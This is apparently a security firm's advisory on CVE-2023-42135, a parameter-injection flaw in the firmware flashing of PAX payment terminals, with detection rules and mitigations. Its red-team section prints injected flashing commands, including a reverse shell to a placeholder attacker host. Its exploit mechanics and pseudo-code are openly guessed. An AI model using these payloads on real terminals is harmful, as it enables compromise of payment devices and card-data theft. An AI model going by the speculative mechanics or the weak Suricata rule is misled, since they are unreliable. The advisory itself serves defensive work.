CVE-2023-42135

Executive Summary

CVE-2023-42135 is a local code execution vulnerability affecting PAX A920Pro and A50 payment terminals running PayDroid_8.1.0_Sagittarius_V11.1.50_20230614 or earlier. The flaw resides in the firmware flashing process, where input validation is bypassed, allowing an attacker with physical USB access to inject arbitrary parameters and execute code on a specific partition. This could lead to full device compromise, including tampering with payment processing, exfiltrating sensitive card data, or installing persistent malware. The CVSS score of 6.8 reflects the high impact on confidentiality, integrity, and availability, but the attack vector is limited to physical access. No public proof-of-concept or patch is currently available, making this a high-risk vulnerability for unattended or physically accessible devices.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in PAX payment terminals, which are part of the hardware supply chain for point-of-sale systems. Organizations should verify the integrity of their PAX devices and ensure they are sourced from trusted distributors.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Physical (P) – Requires physical USB access to the device.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No prior authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected entity.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system modification possible.
• Availability (A): High (H) – Could lead to denial of service or device bricking.

Threat Level: High for physically accessible devices. The lack of a patch and public exploit increases the risk for unattended terminals in retail environments.

Deep Dive & Mechanics

The vulnerability exists in the firmware update mechanism of PAX A920Pro and A50 devices. When flashing a specific partition (likely the bootloader or system partition), the device fails to properly sanitize user-supplied parameters. An attacker can inject arbitrary commands or parameters that are passed to the flashing tool, leading to code execution with elevated privileges.

Root Cause: Input validation bypass during partition flashing. The flashing process likely uses a command-line tool that accepts parameters from the user. Without proper sanitization, an attacker can inject additional commands or modify the intended behavior.

Attack Flow:

1. Attacker gains physical access to the PAX device.
2. Attacker connects via USB and enters the device’s flashing mode (e.g., fastboot or download mode).
3. Attacker sends a crafted flashing command with injected parameters.
4. The device executes the injected code, allowing the attacker to overwrite critical partitions or execute arbitrary payloads.

Impact: Full device compromise, including persistent backdoors, tampering with payment software, and exfiltration of sensitive data such as credit card numbers or PINs.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely resembles:

// Vulnerable pseudo-code
void flash_partition(char *partition, char *image_path) {
    char cmd[256];
    sprintf(cmd, "flash_tool --partition %s --image %s", partition, image_path);
    system(cmd); // No input validation
}

A patched version would include input validation and sanitization:

// Patched pseudo-code
void flash_partition(char *partition, char *image_path) {
    if (!is_valid_partition(partition) || !is_valid_path(image_path)) {
        return error("Invalid input");
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "flash_tool --partition %s --image %s", partition, image_path);
    system(cmd);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• PAX A920Pro or A50 device with vulnerable firmware.
• USB cable.
• Custom flashing tool or script.

Exploitation Steps:

1. Boot the device into flashing mode (e.g., hold specific buttons during power-on).
2. Connect the device to a Linux host via USB.
3. Use a tool like fastboot or a custom script to send a crafted command:

   fastboot flash system "payload.img; malicious_command"
   

   Or via a custom flashing tool:

   flash_tool --partition boot --image "valid.img; echo 'pwned' > /tmp/flag"
   

4. The injected command executes, granting code execution.

Payload Example:

# Inject a reverse shell
flash_tool --partition system --image "valid.img; /bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'"

Blue Team

Detection:

• Monitor for unauthorized physical access to PAX devices.
• Log all USB connections and flashing attempts.
• Use endpoint detection on the device to monitor for unexpected processes or file modifications.

Hunting:

• Check for unusual partitions or modified bootloaders.
• Look for unexpected network connections from the device.
• Verify firmware integrity using checksums.

Indicators of Compromise (IOCs)

• File Hashes: Unknown (no public exploits).
• Network: Outbound connections to unknown IPs on high ports (e.g., 4444).
• Process: Unusual processes like bash, nc, or python running on the device.
• USB: Unauthorized USB connections during non-maintenance hours.
• Firmware: Modified partition tables or unexpected files in /system or /boot.

Detection Engineering

YARA Rule

rule CVE_2023_42135_PAX_Flashing_Exploit {
    meta:
        description = "Detects potential exploitation of CVE-2023-42135 via parameter injection in PAX devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-42135"
    strings:
        $cmd1 = "flash_tool" ascii wide nocase
        $cmd2 = "fastboot" ascii wide nocase
        $inject = ";" ascii wide
        $inject2 = "|" ascii wide
        $inject3 = "`" ascii wide
    condition:
        ($cmd1 or $cmd2) and ($inject or $inject2 or $inject3)
}

Sigma Rule

title: CVE-2023-42135 PAX Device Flashing Exploit
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2023-42135 via parameter injection in PAX device flashing commands
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/flash_tool'
            - '/fastboot'
        CommandLine|contains:
            - ';'
            - '|'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in partition names (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-42135 PAX Device Exfiltration"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Physical Security: Restrict physical access to PAX devices. Place them in locked enclosures or supervised areas.
2. Firmware Updates: Monitor PAX for a patch. Apply immediately when available.
3. USB Ports: Disable or physically block USB ports on devices when not in use.
4. Monitoring: Enable logging for all USB connections and flashing attempts.

Long-term:

• Implement code signing for firmware updates.
• Use hardware security modules (HSMs) to protect sensitive data.
• Conduct regular security audits of payment terminals.

Workarounds:

• If patching is not possible, consider replacing vulnerable devices with newer models.
• Use network segmentation to isolate PAX devices from critical systems.

Valters IT
Securing Digital Frontiers